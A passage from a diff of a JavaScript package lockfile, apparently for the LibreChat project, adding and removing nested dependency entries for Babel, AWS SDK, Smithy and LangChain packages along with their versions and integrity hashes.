"sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], + + "@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], + + "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regenerate-unicode-properties": ["regenerate-unicode-properties@10.2.2", "", { "dependencies": { "regenerate": "^1.4.2" } }, "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g=="], + + "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/regjsparser": ["regjsparser@0.13.0", "", { "dependencies": { "jsesc": "~3.1.0" }, "bin": { "regjsparser": "bin/parser" } }, "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q=="], + + "@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core/unicode-match-property-value-ecmascript": ["unicode-match-property-value-ecmascript@2.2.1", "", {}, "sha512-JQ84qTuMg4nVkx8ga4A16a1epI9H6uTXAknqxkGF/aFfRLw1xC/Bp24HNLaZhHSkWd3+84t8iXnp1J0kYcZHhg=="], + + "@google/genai/google-auth-library/gaxios/node-fetch": ["node-fetch@3.3.2", "", { "dependencies": { "data-uri-to-buffer": "^4.0.0", "fetch-blob": "^3.1.4", "formdata-polyfill": "^4.0.10" } }, "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA=="], + + "@google/genai/google-auth-library/gaxios/rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": "dist/esm/bin.mjs" }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="], + "@istanbuljs/load-nyc-config/find-up/locate-path/p-locate": ["p-locate@4.1.0", "", { "dependencies": { "p-limit": "^2.2.0" } }, "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A=="], "@jest/expect/expect/jest-matcher-utils/pretty-format": ["pretty-format@30.2.0", "", { "dependencies": { "@jest/schemas": "30.0.5", "ansi-styles": "^5.2.0", "react-is": "^18.3.1" } }, "sha512-9uBdv/B4EefsuAL+pWqueZyZS2Ba+LxfFeQ9DN14HU4bN8bhaxKdkpjpB6fs9+pSjIBu+FXQHImEg8j/Lw0+vA=="], - "@jest/fake-timers/@jest/types/@jest/schemas/@sinclair/typebox": ["@sinclair/typebox@0.27.8", "", {}, "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA=="], - "@jest/reporters/glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], "@jest/reporters/glob/path-scurry/lru-cache": ["lru-cache@10.2.0", "", {}, "sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q=="], @@ -7967,6 +7825,8 @@ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/eventstream-handler-node/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="], "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-recursion-detection/@aws/lambda-invoke-store": ["@aws/lambda-invoke-store@0.1.1", "", {}, "sha512-RcLam17LdlbSOSp9VxmUu1eI6Mwxp+OwhD2QhiSNmNCzoDb0EeUXTD2n/WbcnrAYMGlmf05th6QYq23VqvJqpA=="], @@ -7975,6 +7835,10 @@ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="], "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="], @@ -7983,6 +7847,10 @@ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="], + + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="], "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], @@ -8013,6 +7881,8 @@ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="], + "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core": ["@aws-sdk/core@3.927.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@aws-sdk/xml-builder": "3.921.0", "@smithy/core": "^3.17.2", "@smithy/node-config-provider": "^4.3.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/signature-v4": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag=="], @@ -8023,6 +7893,8 @@ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="], @@ -8051,125 +7923,7 @@ "@langchain/google-gauth/google-auth-library/gaxios/rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": "dist/esm/bin.mjs" }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="], - "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, 